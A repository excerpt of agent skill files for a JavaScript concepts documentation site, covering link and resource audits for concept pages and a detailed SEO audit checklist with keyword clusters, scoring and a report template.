| "step-by-step walkthrough" | "Step-by-step walkthrough of building a Promise from scratch" |
| "visual explanation" | "Visual explanation with animated diagrams" |
| "deep dive into" | "Deep dive into V8's optimization strategies" |
| "practical examples of" | "Practical examples of closures in React hooks" |
| "the go-to reference for" | "The go-to reference for array method signatures" |
| "finally makes X click" | "Finally makes prototype chains click" |
| "perfect for beginners" | "Perfect for beginners new to async code" |
| "covers X, Y, and Z" | "Covers creation, chaining, and error handling" |
---
## Link Audit Process
### Step 1: Check Each Link
For each resource in the concept page:
1. **Click the link** — Does it load?
2. **Note the HTTP status:**
| Status | Meaning | Action |
|--------|---------|--------|
| 200 | OK | Keep, continue to content check |
| 301/302 | Redirect | Update to final URL |
| 404 | Not Found | Remove or find replacement |
| 403 | Forbidden | Check manually, may be geo-blocked |
| 5xx | Server Error | Retry later, may be temporary |
### Step 2: Content Verification
For each accessible link:
1. **Skim the content** — Is it still accurate?
2. **Check the date** — When was it published/updated?
3. **Verify JavaScript focus** — Is it primarily about JS?
4. **Look for red flags** — Anti-patterns, errors, outdated syntax
### Step 3: Description Review
For each resource:
1. **Read current description** — Is it specific?
2. **Compare to actual content** — Does it match?
3. **Check for generic phrases** — "comprehensive guide", etc.
4. **Identify improvements** — How can it be more specific?
### Step 4: Gap Analysis
After auditing all resources:
1. **Count by section** — Do we meet targets?
2. **Check diversity** — Beginner AND advanced? Visual AND text?
3. **Identify missing types** — No MDN? No videos?
4. **Note recommendations** — What should we add?
---
## Resource Section Templates
### Reference Section
```markdown
## Reference
Official MDN documentation covering [specific aspects].
The authoritative reference for [what it's best for].
[What this reference covers].
Essential reading for understanding [specific aspect].
```
### Articles Section
```markdown
## Articles
[What makes it unique/what it covers].
[Why read this one/who it's for].
[Specific coverage].
[Value proposition].
[Unique angle].
[Why it's worth reading].
[What it covers].
[Best for whom].
```
### Videos Section
```markdown
## Videos
[What it covers/unique approach].
[Why watch/who it's for].
[Specific focus].
[What makes it stand out].
[Coverage].
[Value].
```
### Books Section (Optional)
```markdown
[What the book covers and its approach].
[Who should read it and what they'll gain].
```
### Courses Section (Optional)
```markdown
[What the course covers].
[Format and who it's best for].
```
---
## Resource Audit Report Template
Use this template to document audit findings.
```markdown
# Resource Audit Report: [Concept Name]
**File:** `/docs/concepts/[slug].mdx`
**Date:** YYYY-MM-DD
**Auditor:** [Name/Claude]
---
## Summary
| Metric | Count |
|--------|-------|
| Total Resources | XX |
| Working Links (200) | XX |
| Broken Links (404) | XX |
| Redirects (301/302) | XX |
| Outdated Content | XX |
| Generic Descriptions | XX |
## Resource Count vs Targets
| Section | Current | Target | Status |
|---------|---------|--------|--------|
| Reference (MDN) | X | 2-4 | ✅/⚠️/❌ |
| Articles | X | 4-6 | ✅/⚠️/❌ |
| Videos | X | 3-4 | ✅/⚠️/❌ |
| Courses | X | 0-3 | ✅/⚠️/❌ |
---
## Broken Links (Remove or Replace)
| Resource | Line | URL | Status | Action |
|----------|------|-----|--------|--------|
| [Title] | XX | [URL] | 404 | Remove |
| [Title] | XX | [URL] | 404 | Replace with [alternative] |
---
## Redirects (Update URLs)
| Resource | Line | Old URL | New URL |
|----------|------|---------|---------|
| [Title] | XX | [old] | [new] |
---
## Outdated Resources (Consider Replacing)
| Resource | Line | Issue | Recommendation |
|----------|------|-------|----------------|
| [Title] | XX | Published 2014, uses var throughout | Replace with [modern alternative] |
| [Title] | XX | Pre-ES6, no mention of let/const | Find updated version or replace |
---
## Description Improvements Needed
| Resource | Line | Current | Suggested |
|----------|------|---------|-----------|
| [Title] | XX | "A guide to closures" | "[Specific description with value prop]" |
| [Title] | XX | "Learn about promises" | "[What makes it unique]. [Why read it]." |
---
## Missing Resources (Recommendations)
| Type | Gap | Suggested Resource | URL |
|------|-----|-------------------|-----|
| Reference | No main MDN link | [Topic] — MDN | [URL] |
| Article | No beginner guide | [Title] — javascript.info | [URL] |
| Video | No visual explanation | [Title] — [Creator] | [URL] |
| Article | No advanced deep-dive | [Title] — 2ality | [URL] |
---
## Non-JavaScript Resources (Remove)
| Resource | Line | Issue |
|----------|------|-------|
| [Title] | XX | Primarily about C#, not JavaScript |
---
## Action Items
### High Priority (Do First)
1. **Remove broken link:** [Title] (line XX)
2. **Add missing MDN reference:** [Topic]
3. **Replace outdated resource:** [Title] with [alternative]
### Medium Priority
1. **Update redirect URL:** [Title] (line XX)
2. **Improve description:** [Title] (line XX)
3. **Add beginner-friendly article**
### Low Priority
1. **Add additional video resource**
2. **Consider adding course section**
---
## Verification Checklist
After making changes:
- [ ] All broken links removed or replaced
- [ ] All redirect URLs updated
- [ ] Outdated resources replaced
- [ ] Generic descriptions rewritten
- [ ] Missing resource types added
- [ ] Resource counts meet targets
- [ ] All new links verified working
- [ ] All descriptions are specific and valuable
```
---
## Quick Reference
### Icon Reference
| Content Type | Icon Value |
|--------------|------------|
| MDN/Official docs | `book` |
| Articles/Blog posts | `newspaper` |
| Videos | `video` |
| Courses | `graduation-cap` |
| Books | `book` |
| Related concepts | Context-appropriate |
### Character Guidelines
| Element | Guideline |
|---------|-----------|
| Card title | Keep concise, include creator for videos |
| Description sentence 1 | What it covers / what's unique |
| Description sentence 2 | Why read/watch / who it's for |
### Resource Ordering
Within each section, order resources:
1. **Most foundational/beginner-friendly first**
2. **Official references before community content**
3. **Most highly recommended prominently placed**
4. **Advanced/niche content last**
---
## Quality Checklist
### Link Verification
- [ ] All links return 200 (not 404, 301)
- [ ] No redirect chains
- [ ] No hard paywalls without notice
- [ ] All URLs are HTTPS where available
### Content Quality
- [ ] All resources are JavaScript-focused
- [ ] No resources teaching anti-patterns
- [ ] Publication dates appropriate for topic
- [ ] Mix of beginner and advanced content
- [ ] Visual and text resources included
### Description Quality
- [ ] All descriptions are specific (not generic)
- [ ] Descriptions explain unique value
- [ ] No "comprehensive guide to..." phrases
- [ ] Each description is 2 sentences
- [ ] Descriptions match actual content
### Completeness
- [ ] 2-4 MDN/official references
- [ ] 4-6 quality articles
- [ ] 3-4 quality videos
- [ ] Resources ordered logically
- [ ] Diversity in teaching styles
---
## Summary
When curating resources for a concept page:
1. **Audit first** — Check all existing links and content
2. **Identify gaps** — Compare against targets (2-4 refs, 4-6 articles, 3-4 videos)
3. **Find quality resources** — Search trusted sources
4. **Write specific descriptions** — What's unique + why read/watch
5. **Format correctly** — Proper Card syntax, icons, ordering
6. **Document changes** — Use the audit report template
**Remember:** Resources should enhance learning, not pad the page. Every link should offer genuine value. Quality over quantity — a few excellent resources beat many mediocre ones.
================================================
FILE: .opencode/skill/seo-review/SKILL.md
================================================
---
name: seo-review
description: Perform a focused SEO audit on JavaScript concept pages to maximize search visibility, featured snippet optimization, and ranking potential
---
# Skill: SEO Audit for Concept Pages
Use this skill to perform a focused SEO audit on concept documentation pages for the 33 JavaScript Concepts project. The goal is to maximize search visibility for JavaScript developers.
## When to Use
- Before publishing a new concept page
- When optimizing underperforming pages
- Periodic content audits
- After major content updates
- When targeting new keywords
## Goal
Each concept page should rank for searches like:
- "what is [concept] in JavaScript"
- "how does [concept] work in JavaScript"
- "[concept] JavaScript explained"
- "[concept] JavaScript tutorial"
- "[concept] JavaScript example"
---
## SEO Audit Methodology
Follow these five steps for a complete SEO audit.
### Step 1: Identify Target Keywords
Before auditing, identify the keyword cluster for the concept.
#### Keyword Cluster Template
| Type | Pattern | Example (Closures) |
|------|---------|-------------------|
| **Primary** | [concept] JavaScript | closures JavaScript |
| **What is** | what is [concept] in JavaScript | what is a closure in JavaScript |
| **How does** | how does [concept] work | how do closures work |
| **How to** | how to use/create [concept] | how to use closures |
| **Why** | why use [concept] | why use closures JavaScript |
| **Examples** | [concept] examples | closure examples JavaScript |
| **vs** | [concept] vs [related] | closures vs scope |
| **Interview** | [concept] interview questions | closure interview questions |
### Step 2: On-Page SEO Audit
Check all on-page SEO elements systematically.
### Step 3: Featured Snippet Optimization
Verify content is structured to win featured snippets.
### Step 4: Internal Linking Audit
Check the internal link structure.
### Step 5: Generate Report
Document findings using the report template.
---
## Keyword Clusters by Concept
Use these pre-built keyword clusters for each concept.
| Type | Keywords |
|------|----------|
| Primary | JavaScript call stack, call stack JavaScript |
| What is | what is the call stack in JavaScript |
| How does | how does the call stack work |
| Error | maximum call stack size exceeded, stack overflow JavaScript |
| Visual | call stack visualization, call stack explained |
| Interview | call stack interview questions JavaScript |
| Type | Keywords |
|------|----------|
| Primary | JavaScript primitive types, primitives in JavaScript |
| What are | what are primitive types in JavaScript |
| List | JavaScript data types, types in JavaScript |
| vs | primitives vs objects JavaScript |
| typeof | typeof JavaScript, JavaScript typeof operator |
| Interview | JavaScript types interview questions |
| Type | Keywords |
|------|----------|
| Primary | JavaScript value vs reference, pass by reference JavaScript |
| What is | what is pass by value in JavaScript |
| How does | how does JavaScript pass objects |
| Comparison | value types vs reference types JavaScript |
| Copy | how to copy objects JavaScript, deep copy JavaScript |
| Type | Keywords |
|------|----------|
| Primary | JavaScript type coercion, type conversion JavaScript |
| What is | what is type coercion in JavaScript |
| How does | how does type coercion work |
| Implicit | implicit type conversion JavaScript |
| Explicit | explicit type conversion JavaScript |
| Interview | type coercion interview questions |
| Type | Keywords |
|------|----------|
| Primary | JavaScript equality, == vs === JavaScript |
| What is | what is the difference between == and === |
| Comparison | loose equality vs strict equality JavaScript |
| Best practice | when to use == vs === |
| Interview | JavaScript equality interview questions |
| Type | Keywords |
|------|----------|
| Primary | JavaScript closures, JavaScript scope |
| What is | what is a closure in JavaScript, what is scope |
| How does | how do closures work, how does scope work |
| Types | types of scope JavaScript, lexical scope |
| Use cases | closure use cases, why use closures |
| Interview | closure interview questions JavaScript |
| Type | Keywords |
|------|----------|
| Primary | JavaScript event loop, event loop JavaScript |
| What is | what is the event loop in JavaScript |
| How does | how does the event loop work |
| Visual | event loop visualization, event loop explained |
| Related | call stack event loop, task queue JavaScript |
| Interview | event loop interview questions |
| Type | Keywords |
|------|----------|
| Primary | JavaScript Promises, Promises in JavaScript |
| What is | what is a Promise in JavaScript |
| How to | how to use Promises, how to chain Promises |
| Methods | Promise.all, Promise.race, Promise.allSettled |
| Error | Promise error handling, Promise catch |
| vs | Promises vs callbacks, Promises vs async await |
| Type | Keywords |
|------|----------|
| Primary | JavaScript async await, async await JavaScript |
| What is | what is async await in JavaScript |
| How to | how to use async await, async await tutorial |
| Error | async await error handling, try catch async |
| vs | async await vs Promises |
| Interview | async await interview questions |
| Type | Keywords |
|------|----------|
| Primary | JavaScript this keyword, this in JavaScript |
| What is | what is this in JavaScript |
| How does | how does this work in JavaScript |
| Binding | call apply bind JavaScript, this binding |
| Arrow | this in arrow functions |
| Interview | this keyword interview questions |
| Type | Keywords |
|------|----------|
| Primary | JavaScript prototype, prototype chain JavaScript |
| What is | what is a prototype in JavaScript |
| How does | how does prototype inheritance work |
| Chain | prototype chain explained |
| vs | prototype vs class JavaScript |
| Interview | prototype interview questions JavaScript |
| Type | Keywords |
|------|----------|
| Primary | JavaScript DOM, DOM manipulation JavaScript |
| What is | what is the DOM in JavaScript |
| How to | how to manipulate DOM JavaScript |
| Methods | getElementById, querySelector JavaScript |
| Events | DOM events JavaScript, event listeners |
| Performance | DOM performance, virtual DOM vs DOM |
| Type | Keywords |
|------|----------|
| Primary | JavaScript higher order functions, higher order functions |
| What are | what are higher order functions |
| Examples | map filter reduce JavaScript |
| How to | how to use higher order functions |
| Interview | higher order functions interview |
| Type | Keywords |
|------|----------|
| Primary | JavaScript recursion, recursion in JavaScript |
| What is | what is recursion in JavaScript |
| How to | how to write recursive functions |
| Examples | recursion examples JavaScript |
| vs | recursion vs iteration JavaScript |
| Interview | recursion interview questions |
---
## Audit Checklists
### Title Tag Checklist (4 points)
| # | Check | Points | How to Verify |
|---|-------|--------|---------------|
| 1 | Length 50-60 characters | 1 | Count characters in `title` frontmatter |
| 2 | Primary keyword in first half | 1 | Concept name appears early |
| 3 | Ends with "in JavaScript" | 1 | Check title ending |
| 4 | Contains compelling hook | 1 | Promises value/benefit to reader |
**Scoring:**
- 4/4: ✅ Excellent
- 3/4: ⚠️ Good, minor improvements possible
- 0-2/4: ❌ Needs significant work
**Title Formula:**
```
[Concept]: [What You'll Understand] in JavaScript
```
**Good Examples:**
| Concept | Title (with character count) |
|---------|------------------------------|
| Closures | "Closures: How Functions Remember Their Scope in JavaScript" (58 chars) |
| Event Loop | "Event Loop: How Async Code Actually Runs in JavaScript" (54 chars) |
| Promises | "Promises: Handling Async Operations in JavaScript" (49 chars) |
| DOM | "DOM: How Browsers Represent Web Pages in JavaScript" (51 chars) |
**Bad Examples:**
| Issue | Bad Title | Better Title |
|-------|-----------|--------------|
| Too short | "Closures" | "Closures: How Functions Remember Their Scope in JavaScript" |
| Too long | "Understanding JavaScript Closures and How They Work with Examples" (66 chars) | "Closures: How Functions Remember Their Scope in JavaScript" (58 chars) |
| No hook | "JavaScript Closures" | "Closures: How Functions Remember Their Scope in JavaScript" |
| Missing "JavaScript" | "Understanding Closures and Scope" | Add "in JavaScript" at end |
---
### Meta Description Checklist (4 points)
| # | Check | Points | How to Verify |
|---|-------|--------|---------------|
| 1 | Length 150-160 characters | 1 | Count characters in `description` frontmatter |
| 2 | Starts with action word | 1 | "Learn", "Understand", "Discover" (NOT "Master") |
| 3 | Contains primary keyword | 1 | Concept name + "JavaScript" present |
| 4 | Promises specific value | 1 | Lists what reader will learn |
**Description Formula:**
```
[Action word] [what it is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3].
```
**Good Examples:**
| Concept | Description |
|---------|-------------|
| Closures | "Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns." (159 chars) |
| Event Loop | "Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking." (176 chars - trim!) |
| DOM | "Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering." (162 chars) |
**Bad Examples:**
| Issue | Bad Description | Fix |
|-------|-----------------|-----|
| Too short | "Learn about closures" | Expand to 150-160 chars with specifics |
| Starts with "Master" | "Master JavaScript closures..." | "Learn JavaScript closures..." |
| Too vague | "A guide to closures" | List specific topics covered |
| Missing keyword | "Functions can remember things" | Include "closures" and "JavaScript" |
---
### Keyword Placement Checklist (5 points)
| # | Check | Points | How to Verify |
|---|-------|--------|---------------|
| 1 | Primary keyword in title | 1 | Check frontmatter `title` |
| 2 | Primary keyword in meta description | 1 | Check frontmatter `description` |
| 3 | Primary keyword in first 100 words | 1 | Check opening paragraphs |
| 4 | Keyword in at least one H2 heading | 1 | Scan all `##` headings |
| 5 | No keyword stuffing | 1 | Content reads naturally |
**Keyword Placement Map:**
```
┌─────────────────────────────────────────────────────────────────────────┐
│ KEYWORD PLACEMENT │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 🔴 CRITICAL (Must have keyword) │
│ ───────────────────────────────── │
│ • title frontmatter │
│ • description frontmatter │
│ • First paragraph (within 100 words) │
│ • At least one H2 heading │
│ │
│ 🟡 RECOMMENDED (Include naturally) │
│ ────────────────────────────────── │
│ • "What you'll learn" Info box │
│ • H3 subheadings │
│ • Key Takeaways section │
│ • First sentence after major H2s │
│ │
│ ⚠️ AVOID │
│ ───────── │
│ • Same phrase >4 times per 1000 words │
│ • Forcing keywords where pronouns work better │
│ • Awkward sentence structures to fit keywords │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
---
### Content Structure Checklist (6 points)
| # | Check | Points | How to Verify |
|---|-------|--------|---------------|
| 1 | Opens with question hook | 1 | First paragraph asks engaging question |
| 2 | Code example in first 200 words | 1 | Simple example appears early |
| 3 | "What you'll learn" Info box | 1 | `` component after opening |
| 4 | Short paragraphs (2-4 sentences) | 1 | Scan content for long blocks |
| 5 | 1,500+ words | 1 | Word count check |
| 6 | Key terms bolded on first mention | 1 | Important terms use `**bold**` |
**Content Structure Template:**
```
┌─────────────────────────────────────────────────────────────────────────┐
│ IDEAL PAGE STRUCTURE │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. QUESTION HOOK (First 50 words) │
│ "How does JavaScript...? Why do...?" │
│ │
│ 2. BRIEF ANSWER + CODE EXAMPLE (Words 50-200) │
│ Quick explanation + simple code demo │
│ │
│ 3. "WHAT YOU'LL LEARN" INFO BOX │
│ 5-7 bullet points │
│ │
│ 4. PREREQUISITES WARNING (if applicable) │
│ Link to required prior concepts │
│ │
│ 5. MAIN CONTENT SECTIONS (H2s) │
│ Each H2 answers a question or teaches a concept │
│ Include code examples, diagrams, tables │
│ │
│ 6. COMMON MISTAKES / GOTCHAS SECTION │
│ What trips people up │
│ │
│ 7. KEY TAKEAWAYS │
│ 8-10 numbered points summarizing everything │
│ │
│ 8. TEST YOUR KNOWLEDGE │
│ 5-6 Q&A accordions │
│ │
│ 9. RELATED CONCEPTS │
│ 4 cards linking to related topics │
│ │
│ 10. RESOURCES (Reference, Articles, Videos) │
│ MDN links, curated articles, videos │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
---
### Featured Snippet Checklist (4 points)
| # | Check | Points | How to Verify |
|---|-------|--------|---------------|
| 1 | "What is X" has 40-60 word definition | 1 | Count words in first paragraph after "What is" H2 |
| 2 | At least one H2 is phrased as question | 1 | Check for "What is", "How does", "Why" H2s |
| 3 | Numbered steps for "How to" content | 1 | Uses `` component or numbered list |
| 4 | Comparison tables (if applicable) | 1 | Tables for "X vs Y" content |
**Featured Snippet Patterns:**
```
┌─────────────────────────────────────────────────────────────────────────┐
│ FEATURED SNIPPET FORMATS │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ QUERY TYPE WINNING FORMAT YOUR CONTENT │
│ ─────────── ────────────── ──────────── │
│ │
│ "What is X" Paragraph 40-60 word definition │
│ after H2, bold keyword │
│ │
│ "How to X" Numbered list component or │
│ 1. 2. 3. markdown │
│ │
│ "X vs Y" Table | Feature | X | Y | │
│ comparison table │
│ │
│ "Types of X" Bullet list - **Type 1** — desc │
│ - **Type 2** — desc │
│ │
│ "[X] examples" Code block ```javascript │
│ + explanation // example code │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
**Definition Paragraph Example (40-60 words):**
```markdown
## What is a Closure in JavaScript?
A **closure** is a function that retains access to variables from its outer
(enclosing) scope, even after that outer function has finished executing.
Closures are created every time a function is created in JavaScript, allowing
inner functions to "remember" and access their lexical environment.
```
(This is 52 words - perfect for a featured snippet)
---
### Internal Linking Checklist (4 points)
| # | Check | Points | How to Verify |
|---|-------|--------|---------------|
| 1 | 3-5 related concepts linked in body | 1 | Count `/concepts/` links in prose |
| 2 | Descriptive anchor text | 1 | No "click here", "here", "this" |
| 3 | Prerequisites in Warning box | 1 | `` with links at start |
| 4 | Related Concepts section has 4 cards | 1 | `` at end with 4 Cards |
**Good Anchor Text:**
| ❌ Bad | ✓ Good |
|--------|--------|
| "click here" | "event loop concept" |
| "here" | "JavaScript closures" |
| "this article" | "our Promises guide" |
| "read more" | "understanding the call stack" |
**Link Placement Strategy:**
```markdown
**Prerequisite:** This guide assumes you understand [Promises](/concepts/promises)
and the [Event Loop](/concepts/event-loop). Read those first if needed.
When the callback finishes, it's added to the task queue — managed by
the [event loop](/concepts/event-loop).
async/await is built on top of Promises
```
---
### Technical SEO Checklist (3 points)
| # | Check | Points | How to Verify |
|---|-------|--------|---------------|
| 1 | Single H1 per page | 1 | Only one `#` heading (the title) |
| 2 | URL slug contains keyword | 1 | `/concepts/closures` not `/concepts/topic-1` |
| 3 | No orphan pages | 1 | Page is linked from at least one other page |
**H1 Rule:**
Every page should have exactly ONE H1 (your main title). This is critical for SEO:
- The H1 tells Google what the page is about
- Multiple H1s confuse search engines about page hierarchy
- All other headings should be H2 (`##`) and below
- The H1 should contain your primary keyword
```markdown
# Closures in JavaScript ← This is your H1 (only one!)
## What is a Closure? ← H2 for sections
### Lexical Scope ← H3 for subsections
## How Closures Work ← Another H2
```
**URL/Slug Best Practices:**
| ✅ Good | ❌ Bad |
|---------|--------|
| `/concepts/closures` | `/concepts/c1` |
| `/concepts/event-loop` | `/concepts/topic-7` |
| `/concepts/type-coercion` | `/concepts/abc123` |
| `/concepts/async-await` | `/concepts/async_await` |
Rules for slugs:
- **Include primary keyword** — The concept name should be in the URL
- **Use hyphens, not underscores** — `event-loop` not `event_loop`
- **Keep slugs short and readable** — Under 50 characters
- **No UUIDs, database IDs, or random strings**
- **Lowercase only** — `/concepts/Event-Loop` should be `/concepts/event-loop`
**Orphan Page Detection:**
An orphan page has no internal links pointing to it from other pages. This hurts SEO because:
- Google may not discover or crawl it frequently
- It signals the page isn't important to your site structure
- Users can't navigate to it naturally
- Link equity doesn't flow to the page
**How to check for orphan pages:**
1. Search the codebase for links to this concept: `grep -r "/concepts/[slug]" docs/`
2. Verify it appears in at least one other concept's "Related Concepts" section
3. Check that pages listing it as a prerequisite link back appropriately
4. Ensure it's included in the navigation (`docs.json`)
**Fixing orphan pages:**
- Add the concept to related pages' "Related Concepts" CardGroup
- Link to it naturally in body content of related concepts
- Ensure bidirectional linking (if A links to B, B should link back to A where relevant)
---
## Scoring System
### Total Points Available: 30
| Category | Max Points |
|----------|------------|
| Title Tag | 4 |
| Meta Description | 4 |
| Keyword Placement | 5 |
| Content Structure | 6 |
| Featured Snippets | 4 |
| Internal Linking | 4 |
| Technical SEO | 3 |
| **Total** | **30** |
### Score Interpretation
| Score | Percentage | Status | Action |
|-------|------------|--------|--------|
| 27-30 | 90-100% | ✅ Excellent | Ready to publish |
| 23-26 | 75-89% | ⚠️ Good | Minor optimizations needed |
| 17-22 | 55-74% | ⚠️ Fair | Several improvements needed |
| 0-16 | <55% | ❌ Poor | Significant work required |
---
## Common SEO Issues and Fixes
### Title Tag Issues
| Issue | Current | Fix |
|-------|---------|-----|
| Too short (<50 chars) | "Closures" (8) | "Closures: How Functions Remember Their Scope in JavaScript" (58) |
| Too long (>60 chars) | "Understanding JavaScript Closures and How They Work with Examples" (66) | "Closures: How Functions Remember Their Scope in JavaScript" (58) |
| Missing keyword | "Understanding Scope" | Add concept name: "Closures: Understanding Scope in JavaScript" |
| No hook | "JavaScript Closures" | Add benefit: "Closures: How Functions Remember Their Scope in JavaScript" |
| Missing "JavaScript" | "Closures Explained" | Add at end: "Closures Explained in JavaScript" |
### Meta Description Issues
| Issue | Current | Fix |
|-------|---------|-----|
| Too short (<120 chars) | "Learn about closures" (20) | Expand with specifics to 150-160 chars |
| Too long (>160 chars) | [Gets truncated] | Edit ruthlessly, keep key information |
| Starts with "Master" | "Master JavaScript closures..." | "Learn JavaScript closures..." |
| No keyword | "Functions that remember" | Include "closures" and "JavaScript" |
| Too vague | "A guide to closures" | List specific topics: "Covers X, Y, and Z" |
### Content Structure Issues
| Issue | Fix |
|-------|-----|
| No question hook | Start with "How does...?" or "Why...?" |
| Code example too late | Move simple example to first 200 words |
| Missing Info box | Add `` with "What you'll learn" |
| Long paragraphs | Break into 2-4 sentence chunks |
| Under 1,500 words | Add more depth, examples, edge cases |
| No bolded terms | Bold key concepts on first mention |
### Featured Snippet Issues
| Issue | Fix |
|-------|-----|
| No "What is" definition | Add 40-60 word definition paragraph |
| Definition too long | Tighten to 40-60 words |
| No question H2s | Add "What is X?" or "How does X work?" H2 |
| Steps not numbered | Use `` or numbered markdown |
| No comparison tables | Add table for "X vs Y" sections |
### Internal Linking Issues
| Issue | Fix |
|-------|-----|
| No internal links | Add 3-5 links to related concepts |
| Bad anchor text | Replace "click here" with descriptive text |
| No prerequisites | Add `` with prerequisite links |
| Empty Related Concepts | Add 4 Cards linking to related topics |
### Technical SEO Issues
| Issue | Fix |
|-------|-----|
| Multiple H1 tags | Keep only one `#` heading (the title), use `##` for all sections |
| Slug missing keyword | Rename file to include concept name (e.g., `closures.mdx`) |
| Orphan page | Add links from related concept pages' body or Related Concepts section |
| Underscore in slug | Use hyphens: `event-loop.mdx` not `event_loop.mdx` |
| Uppercase in slug | Use lowercase only: `async-await.mdx` not `Async-Await.mdx` |
| Slug too long | Shorten to primary keyword: `closures.mdx` not `understanding-javascript-closures-and-scope.mdx` |
---
## SEO Audit Report Template
Use this template to document your findings.
```markdown
# SEO Audit Report: [Concept Name]
**File:** `/docs/concepts/[slug].mdx`
**Date:** YYYY-MM-DD
**Auditor:** [Name/Claude]
**Overall Score:** XX/30 (XX%)
**Status:** ✅ Excellent | ⚠️ Needs Work | ❌ Poor
---
## Score Summary
| Category | Score | Status |
|----------|-------|--------|
| Title Tag | X/4 | ✅/⚠️/❌ |
| Meta Description | X/4 | ✅/⚠️/❌ |
| Keyword Placement | X/5 | ✅/⚠️/❌ |
| Content Structure | X/6 | ✅/⚠️/❌ |
| Featured Snippets | X/4 | ✅/⚠️/❌ |
| Internal Linking | X/4 | ✅/⚠️/❌ |
| Technical SEO | X/3 | ✅/⚠️/❌ |
| **Total** | **X/30** | **STATUS** |
---
## Target Keywords
**Primary Keyword:** [e.g., "JavaScript closures"]
**Secondary Keywords:**
- [keyword 1]
- [keyword 2]
- [keyword 3]
**Search Intent:** Informational / How-to / Comparison
---
## Title Tag Analysis
**Current Title:** "[current title from frontmatter]"
**Character Count:** XX characters
**Score:** X/4
| Check | Status | Notes |
|-------|--------|-------|
| Length 50-60 chars | ✅/❌ | XX characters |
| Primary keyword in first half | ✅/❌ | [notes] |
| Ends with "in JavaScript" | ✅/❌ | [notes] |
| Contains compelling hook | ✅/❌ | [notes] |
**Issues Found:** [if any]
**Recommended Title:** "[suggested title]" (XX chars)
---
## Meta Description Analysis
**Current Description:** "[current description from frontmatter]"
**Character Count:** XX characters
**Score:** X/4
| Check | Status | Notes |
|-------|--------|-------|
| Length 150-160 chars | ✅/❌ | XX characters |
| Starts with action word | ✅/❌ | Starts with "[word]" |
| Contains primary keyword | ✅/❌ | [notes] |
| Promises specific value | ✅/❌ | [notes] |
**Issues Found:** [if any]
**Recommended Description:** "[suggested description]" (XX chars)
---
## Keyword Placement Analysis
**Score:** X/5
| Location | Present | Notes |
|----------|---------|-------|
| Title | ✅/❌ | [notes] |
| Meta description | ✅/❌ | [notes] |
| First 100 words | ✅/❌ | Found at word XX |
| H2 heading | ✅/❌ | Found in: "[H2 text]" |
| Natural reading | ✅/❌ | [no stuffing / stuffing detected] |
**Missing Keyword Placements:**
- [ ] [Location where keyword should be added]
---
## Content Structure Analysis
**Word Count:** X,XXX words
**Score:** X/6
| Check | Status | Notes |
|-------|--------|-------|
| Question hook opening | ✅/❌ | [notes] |
| Code in first 200 words | ✅/❌ | Code appears at word XX |
| "What you'll learn" box | ✅/❌ | [present/missing] |
| Short paragraphs | ✅/❌ | [notes on paragraph length] |
| 1,500+ words | ✅/❌ | X,XXX words |
| Bolded key terms | ✅/❌ | [notes] |
**Structure Issues:**
- [ ] [Issue and recommendation]
---
## Featured Snippet Analysis
**Score:** X/4
| Check | Status | Notes |
|-------|--------|-------|
| 40-60 word definition | ✅/❌ | Currently XX words |
| Question-format H2 | ✅/❌ | Found: "[H2]" / Not found |
| Numbered steps | ✅/❌ | [notes] |
| Comparison tables | ✅/❌/N/A | [notes] |
**Snippet Opportunities:**
1. **"What is [concept]" snippet:**
- Current definition: XX words
- Action: [Expand to/Trim to] 40-60 words
2. **"How to [action]" snippet:**
- Action: [Add Steps component / Already present]
---
## Internal Linking Analysis
**Score:** X/4
| Check | Status | Notes |
|-------|--------|-------|
| 3-5 internal links in body | ✅/❌ | Found X links |
| Descriptive anchor text | ✅/❌ | [notes] |
| Prerequisites in Warning | ✅/❌ | [present/missing] |
| Related Concepts section | ✅/❌ | X cards present |
**Current Internal Links:**
1. [Anchor text] → `/concepts/[slug]`
2. [Anchor text] → `/concepts/[slug]`
**Recommended Links to Add:**
- Link to [concept] in [section/context]
- Link to [concept] in [section/context]
**Bad Anchor Text Found:**
- Line XX: "click here" → change to "[descriptive text]"
---
## Technical SEO Analysis
**Score:** X/3
| Check | Status | Notes |
|-------|--------|-------|
| Single H1 per page | ✅/❌ | [Found X H1 tags] |
| URL slug contains keyword | ✅/❌ | Current: `/concepts/[slug]` |
| Not an orphan page | ✅/❌ | Linked from X other pages |
**H1 Tags Found:**
- Line XX: `# [H1 text]` ← Should be the only one
- [List any additional H1s that need to be changed to H2]
**Slug Analysis:**
- Current slug: `[slug].mdx`
- Contains keyword: ✅/❌
- Format correct: ✅/❌ (lowercase, hyphens, no special chars)
**Incoming Links Found:**
1. `/concepts/[other-concept]` → Links to this page in [section]
2. `/concepts/[other-concept]` → Links in Related Concepts
**If orphan page, add links from:**
- [Suggested concept page] in [section]
- [Suggested concept page] in Related Concepts
---
## Priority Fixes
### High Priority (Do First)
1. **[Issue]**
- Current: [what it is now]
- Recommended: [what it should be]
- Impact: [why this matters]
2. **[Issue]**
- Current: [what it is now]
- Recommended: [what it should be]
- Impact: [why this matters]
### Medium Priority
1. **[Issue]**
- Recommendation: [fix]
### Low Priority (Nice to Have)
1. **[Issue]**
- Recommendation: [fix]
---
## Competitive Analysis (Optional)
**Top-Ranking Pages for "[primary keyword]":**
1. **[Competitor 1 - URL]**
- What they do well: [observation]
- Word count: ~X,XXX
2. **[Competitor 2 - URL]**
- What they do well: [observation]
- Word count: ~X,XXX
**Our Advantages:**
- [What we do better]
**Gaps to Fill:**
- [What we're missing that competitors have]
---
## Implementation Checklist
After making fixes, verify:
- [ ] Title is 50-60 characters with keyword and hook
- [ ] Description is 150-160 characters with action word and value
- [ ] Primary keyword in title, description, first 100 words, and H2
- [ ] Opens with question hook
- [ ] Code example in first 200 words
- [ ] "What you'll learn" Info box present
- [ ] Paragraphs are 2-4 sentences
- [ ] 1,500+ words total
- [ ] Key terms bolded on first mention
- [ ] 40-60 word definition for featured snippet
- [ ] At least one question-format H2
